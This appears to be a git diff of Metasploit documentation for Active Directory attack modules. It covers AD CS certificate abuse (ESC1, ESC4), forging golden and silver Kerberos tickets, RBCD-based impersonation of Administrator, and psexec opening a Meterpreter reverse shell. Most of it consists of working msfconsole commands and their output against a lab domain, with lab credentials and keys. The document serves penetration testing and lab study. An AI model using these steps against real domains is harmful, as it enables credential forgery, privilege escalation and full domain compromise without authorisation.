See the following resources for more information.
|
||||
|
||||
* https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
|
||||
* https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
|
||||
|
||||
### ALT_UPN
|
||||
Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the
|
||||
format `$username@$dnsDomainName`.
|
||||
@@ -112,11 +121,18 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
|
||||
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different
|
||||
User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a
|
||||
different UPN effectively issues a certificate that can be used to authenticate as another user.
|
||||
different UPN effectively issues a certificate that can be used to authenticate as another user. If the target server
|
||||
has the [KB5014754][KB5014754] patch applied and the REG_DWORD
|
||||
`HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement` value is set to 2, then the SID for the
|
||||
account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value
|
||||
of `StrongCertificateBindingEnforcement` to 2. If the server has the patch applied, the SID will be returned in the
|
||||
issued certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the
|
||||
SID is not specified in the certificate, then Kerberos authentication wil fail with `KDC_ERR_CERTIFICATE_MISMATCH`.
|
||||
|
||||
The user must know:
|
||||
|
||||
* A vulnerable certificate template, in this case `ESC1-Test`.
|
||||
* The SID of a target account, in this case `S-1-5-21-3402587289-1488798532-3618296993-1000`
|
||||
* The UPN of a target account, in this case `smcintyre@msflab.local`.
|
||||
|
||||
See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more
|
||||
@@ -134,20 +150,25 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
|
||||
CA => msflab-DC-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
|
||||
CERT_TEMPLATE => ESC1-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
|
||||
ALT_UPN => smcintyre@msflab.local
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
|
||||
[*] 192.168.159.10:445 - Binding to \cert...
|
||||
[+] 192.168.159.10:445 - Bound to \cert
|
||||
[*] 192.168.159.10:445 - Requesting a certificate...
|
||||
[*] 192.168.159.10:445 - Requesting a certificate for user aliddle - alternate UPN: smcintyre@msflab.local - digest algorithm: SHA256 - template: ESC1-Test
|
||||
[+] 192.168.159.10:445 - The requested certificate was issued.
|
||||
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2)
|
||||
@@ -287,3 +308,5 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
[KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
|
||||
@@ -56,19 +56,30 @@ The user's AES key to use for Kerberos authentication in hex string. Supported
|
||||
keys: 128 or 256 bits.
|
||||
|
||||
### SPN
|
||||
The Service Principal Name, the format is `service_name/FQDN` . Ex:
|
||||
cifs/dc01.mydomain.local. This option is only used when requesting a TGS.
|
||||
|
||||
This option is only used when requesting a TGS.
|
||||
|
||||
The Service Principal Name, the format is `service_name/FQDN`.
|
||||
Ex: cifs/dc01.mydomain.local.
|
||||
|
||||
### IMPERSONATE
|
||||
The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to
|
||||
request the ticket).
|
||||
|
||||
### KrbUseCachedCredentials
|
||||
|
||||
This option is only used when requesting a TGS.
|
||||
|
||||
If set to `true`, it looks for a matching TGT in the database and, if found,
|
||||
use it for Kerberos authentication when requesting a TGS. Note that this option
|
||||
only applies to `GET_TGS` action and has no effect on the `GET_TGT` action.
|
||||
use it for Kerberos authentication when requesting a TGS.
|
||||
Default is `true`.
|
||||
|
||||
### Krb5Ccname
|
||||
|
||||
This option is only used when requesting a TGS.
|
||||
|
||||
The Kerberos TGT to use when requesting the sevice ticket. If unset, the database will be checked'
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Requesting a TGT
|
||||
@@ -283,3 +294,42 @@ host service type name content i
|
||||
10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: krbtgt/mylab.local, username: servicea /home/msfuser/.msf4/loot/20221201210211_default_10.0.0.24_mit.kerberos.cca_667626.bin
|
||||
10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: cifs/dc02.mylab.local, username: administrator /home/msfuser/.msf4/loot/20221201210211_default_10.0.0.24_mit.kerberos.cca_757041.bin
|
||||
```
|
||||
|
||||
TGS using a previously forged golden ticket:
|
||||
|
||||
```
|
||||
# Forge a golden ticket
|
||||
msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator
|
||||
|
||||
[*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
# Request a silver ticket:
|
||||
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
|
||||
[*] Running module against 10.10.11.5
|
||||
|
||||
[*] 10.10.11.5:88 - Using cached credential for krbtgt/DEV.DEMO.LOCAL@DEV.DEMO.LOCAL Administrator@DEV.DEMO.LOCAL
|
||||
[*] 10.10.11.5:88 - Getting TGS for Administrator@dev.demo.local (SPN: cifs/dc02.dev.demo.local)
|
||||
[+] 10.10.11.5:88 - Received a valid TGS-Response
|
||||
[*] 10.10.11.5:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin
|
||||
[+] 10.10.11.5:88 - Received a valid delegation TGS-Response
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
# Use psexec:
|
||||
|
||||
msf6 exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] 10.10.11.5:445 - Connecting to the server...
|
||||
[*] 10.10.11.5:445 - Authenticating to 10.10.11.5:445|dev.demo.local as user 'Administrator'...
|
||||
[*] 10.10.11.5:445 - Loaded a credential from ticket file: /Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin
|
||||
[*] 10.10.11.5:445 - Selecting PowerShell target
|
||||
[*] 10.10.11.5:445 - Executing the payload...
|
||||
[+] 10.10.11.5:445 - Service start timed out, OK if running a command or non-service executable...
|
||||
[*] Sending stage (175686 bytes) to 10.10.11.5
|
||||
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 10.10.11.5:60625) at 2023-03-09 12:08:49 +0000
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
## RBCD Exploitation
|
||||
|
||||
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.
|
||||
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
|
||||
the CREATE or UPDATE actions.
|
||||
|
||||
In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
|
||||
necessary permissions to perform the specified action on the target object (the certificate specified in
|
||||
`CERT_TEMPLATE`).
|
||||
|
||||
## Lab setup
|
||||
|
||||
Follow the steps in the [[Installing AD CS|ad-certificates/overview.md#installing-ad-cs]] documentation.
|
||||
|
||||
## Module usage
|
||||
|
||||
The `admin/ldap/ad_cs_template` module is generally used to update a certificate template as part of an ESC4 attack.
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/ldap/ad_cs_cert_template`
|
||||
3. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options
|
||||
4. Set the `CERT_TEMPLATE` option to the name of the target certificate template
|
||||
5. Set the `ACTION`
|
||||
b. For the `UPDATE` action, set the `TEMPLATE_FILE` option
|
||||
c. For the `CREATE` action, optionally set the `TEMPLATE_FILE` option
|
||||
6. Run the module and see the operation complete successfully
|
||||
|
||||
## Actions
|
||||
|
||||
### CREATE
|
||||
Create the certificate template in the LDAP server. If no `TEMPLATE_FILE` is specified, a new certificate template will
|
||||
be created based on the Microsoft-builtin `SubCA` template with a default security descriptor. If the `TEMPLATE_FILE` is
|
||||
specified, the attributes it defines are merged with the `SubCA` template. This allows attributes such as the security
|
||||
descriptor and name to be defined.
|
||||
|
||||
### READ
|
||||
Read the certificate template from the LDAP server. A copy will be saved to disk.
|
||||
|
||||
### UPDATE
|
||||
Update the certificate template in the LDAP server. The `TEMPLATE_FILE` must be specified and will be used to read
|
||||
attributes to set on the certificate template object. The `TEMPLATE_FILE` option can be set to a previously stored
|
||||
template file to restore the object to a previous state.
|
||||
|
||||
### DELETE
|
||||
Delete the certificate template in the LDAP server. This is a destructive action.
|
||||
|
||||
## Options
|
||||
|
||||
### CERT_TEMPLATE
|
||||
The remote certificate template name. This is used as the common name (CN) for the LDAP object.
|
||||
|
||||
### TEMPLATE_FILE
|
||||
This is a local template file from which to read object attributes from. Two file formats are supported, JSON and YAML.
|
||||
The file format is determined by the extension so the file must end in either `.json` or `.yaml`.
|
||||
|
||||
#### The JSON format
|
||||
The JSON file format is a hash with attribute name keys and ASCII-hex encoded values. These files are compatible with
|
||||
[`Certipy`'s][certipy] `template` command. This module uses the JSON file format when storing copies fo certificate to
|
||||
disk.
|
||||
|
||||
#### The YAML format
|
||||
The YAML file format is similiar to the JSON file format, but takes advantage of YAML's ability to include comments.
|
||||
The file consists of a hash with attribute name keys and value strings. The `nTSecurityDescriptor` file can be either
|
||||
a binary string representing a literal value, or a security descriptor defined in Microsoft's [Security Descriptor
|
||||
Definition Language (SDDL)][sddl]. Premade configuration templates provided by Metasploit use this format.
|
||||
|
||||
## Scenarios
|
||||
|
||||
For steps on exploiting ESC4, see [[Exploiting ESC4|ad-certificates/attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]].
|
||||
|
||||
### Creating A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to create a new certificate template. Either the default local template
|
||||
can be used to make one vulnerable to ESC1, or a previously saved configuration can be used. In the following example,
|
||||
the `TEMPLATE_FILE` option is used to restore the settings from a previously deleted template.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION CREATE
|
||||
ACTION => CREATE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
|
||||
TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[*] Creating: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
### Deleting A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to delete the `ESC4-Test` certificate template. A backup of the original
|
||||
certificate's data is made before it is deleted. This file can be used with the `CREATE` action to restore the
|
||||
certificate template.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION DELETE
|
||||
ACTION => DELETE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
### Reading A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to read the configuration of the default `User` certificate template.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE User
|
||||
CERT_TEMPLATE => User
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION READ
|
||||
ACTION => READ
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Read certificate template data for: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505125728_default_192.168.159.10_windows.ad.cs.te_691087.json
|
||||
[*] Certificate Template:
|
||||
[*] distinguishedName: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] displayName: User
|
||||
[*] objectGUID: ceed9142-d00f-459e-9694-02eb59ea1ec8
|
||||
[*] msPKI-Certificate-Name-Flag: 0xa6000000
|
||||
[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
|
||||
[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
|
||||
[*] * CT_FLAG_SUBJECT_REQUIRE_EMAIL
|
||||
[*] * CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
[*] msPKI-Enrollment-Flag: 0x00000029
|
||||
[*] * CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
|
||||
[*] * CT_FLAG_PUBLISH_TO_DS
|
||||
[*] * CT_FLAG_AUTO_ENROLLMENT
|
||||
[*] msPKI-RA-Signature: 0x00000000
|
||||
[*] pKIExtendedUsage:
|
||||
[*] * 1.3.6.1.4.1.311.10.3.4
|
||||
[*] * 1.3.6.1.5.5.7.3.4
|
||||
[*] * 1.3.6.1.5.5.7.3.2
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
### Updating A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to update and reconfigure the `ESC4-Test` certificate template to make it
|
||||
vulnerable to ESC1 (the default template settings). This process first makes a backup of the certificate data that can
|
||||
be used later. The local certificate template data can be modified to set a custom security descriptor.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
|
||||
ACTION => UPDATE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_192.168.159.10_windows.ad.cs.te_593597.json
|
||||
[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
[certipy]: https://github.com/ly4k/Certipy
|
||||
[sddl]: https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
|
||||
@@ -1,17 +1,86 @@
|
||||
## Vulnerable Application
|
||||
## RBCD Exploitation
|
||||
|
||||
This module can read and write the necessary LDAP attributes to configure a particular object for Role Based Constrained
|
||||
Delegation (RBCD). When writing, the module will add an access control entry to allow the account specified in
|
||||
DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the authenticated user must have
|
||||
write access to the target object (the object specified in DELEGATE_TO).
|
||||
If an account has the ability to write to the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute against a target, i.e. having
|
||||
`GenericWrite` privileges, this can be abused for privilege escalation.
|
||||
|
||||
## Verification Steps
|
||||
The `auxiliary/admin/ldap/rbcd` module can be used to read and write the `msDS-AllowedToActOnBehalfOfOtherIdentity` LDAP attribute against a target
|
||||
for Role Based Constrained Delegation (RBCD). When writing, the module will add an access control entry (ACE) to allow the account specified in
|
||||
`DELEGATE_FROM` to the object specified in `DELEGATE_TO`. For privilege escalation - the `auxiliary/admin/kerberos/get_ticket` module can then
|
||||
be used to request a new Kerberos S4U impersonation ticket for the Administrator account.
|
||||
|
||||
In order for the `auxiliary/admin/ldap/rbcd` module to succeed, the authenticated user must have write access to the target object (the object specified in `DELEGATE_TO`).
|
||||
|
||||
## Lab setup
|
||||
|
||||
For the RBCD attack to work an Active Directory account (i.e. `sandy`) is required with write privileges to the target computer (i.e. `WS01`).
|
||||
|
||||
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment:
|
||||
|
||||
```powershell
|
||||
# Create a basic user account
|
||||
net user /add sandy Password1!
|
||||
|
||||
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
|
||||
net user sandy /expires:never
|
||||
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
|
||||
```
|
||||
|
||||
Grant Write privileges for sandy to the target machine, i.e. `WS01`:
|
||||
|
||||
```powershell
|
||||
# Remember to change WS01 to the name of your target Computer (i.e. the output of the hostname command)
|
||||
$TargetComputer = Get-ADComputer 'WS01'
|
||||
$User = Get-ADUser 'sandy'
|
||||
|
||||
# Add GenericWrite access to the user against the target coputer
|
||||
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
|
||||
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
|
||||
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
|
||||
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
|
||||
$TargetComputerAcl = Get-Acl "AD:$($TargetComputer.DistinguishedName)"
|
||||
$TargetComputerAcl.AddAccessRule($GenericWriteAce)
|
||||
Set-Acl -AclObject $TargetComputerAcl -Path "AD:$($TargetComputer.DistinguishedName)"
|
||||
```
|
||||
|
||||
Finally Verify the Write privileges for the sandy account:
|
||||
|
||||
```powershell
|
||||
PS C:\Users\administrator> $TargetComputer = Get-ADComputer 'WS01'
|
||||
PS C:\Users\administrator> (Get-ACL "AD:$($TargetComputer.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
|
||||
|
||||
ActiveDirectoryRights : GenericWrite
|
||||
InheritanceType : All
|
||||
ObjectType : 00000000-0000-0000-0000-000000000000
|
||||
InheritedObjectType : 00000000-0000-0000-0000-000000000000
|
||||
ObjectFlags : None
|
||||
AccessControlType : Allow
|
||||
IdentityReference : MSFLAB\sandy
|
||||
IsInherited : False
|
||||
InheritanceFlags : ContainerInherit
|
||||
PropagationFlags : None
|
||||
```
|
||||
|
||||
## Module usage
|
||||
|
||||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `COMPUTER_NAME` or `COMPUTER_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_COMPUTER` action, set the `COMPUTER_NAME` option
|
||||
c. For the `LOOKUP_COMPUTER` action, set the `COMPUTER_NAME` option
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
Then the `auxiliary/admin/ldap/rbcd` can be used:
|
||||
|
||||
1. Set the `RHOST` value to a target domain controller
|
||||
2. Set the `BIND_DN` and `BIND_PW` information to an account with the necessary privileges
|
||||
2. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
|
||||
3. Set the `DELEGATE_TO` and `DELEGATE_FROM` data store options
|
||||
4. Use the `WRITE` action to configure the target for RBCD
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Actions
|
||||
|
||||
### FLUSH
|
||||
@@ -42,13 +111,16 @@ the delegation target.
|
||||
## Scenarios
|
||||
|
||||
### Window Server 2019 Domain Controller
|
||||
|
||||
In the following example the user `MSFLAB\sandy` has write access to the computer account `WS01$`. The sandy account is
|
||||
used to add a new computer account to the domain, then configures WS01$ for delegation from the new computer account.
|
||||
used to add a new computer account to the domain, then configures `WS01$` for delegation from the new computer account.
|
||||
|
||||
The new computer account can then impersonate any user, including domain administrators, on `WS01$` by authenticating
|
||||
with the Service for User (S4U) Kerberos extension.
|
||||
|
||||
```
|
||||
First create the computer account:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/samr_computer):
|
||||
@@ -86,9 +158,14 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
[+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set BIND_DN sandy@msflab.local
|
||||
```
|
||||
|
||||
Now use the RBCD module to read the the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set USERNAME sandy@msflab.local
|
||||
BIND_DN => sandy@msflab.local
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set BIND_PW Password1!
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set PASSWORD Password1!
|
||||
BIND_PW => Password1!
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
@@ -102,6 +179,11 @@ msf6 auxiliary(admin/ldap/rbcd) > read
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_computer`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$
|
||||
DELEGATE_FROM => DESKTOP-QLSTR9NW$
|
||||
msf6 auxiliary(admin/ldap/rbcd) > write
|
||||
@@ -112,6 +194,11 @@ msf6 auxiliary(admin/ldap/rbcd) > write
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Reading the value of `msDS-AllowedToActOnBehalfOfOtherIdentity` to verify the value is updated:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > read
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
@@ -123,3 +210,38 @@ msf6 auxiliary(admin/ldap/rbcd) > read
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/rbcd) >
|
||||
```
|
||||
|
||||
Next we can use the `auxiliary/admin/kerberos/get_ticket` module to request a new S4U impersonation ticket for the Administrator
|
||||
account using the previously created machine account. For instance requesting a service ticket for SMB access:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.159.10 username=DESKTOP-QLSTR9NW password=A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT domain=msflab.local spn=cifs/ws01.msflab.local impersonate=Administrator
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] 192.168.159.10:88 - Received a valid TGT-Response
|
||||
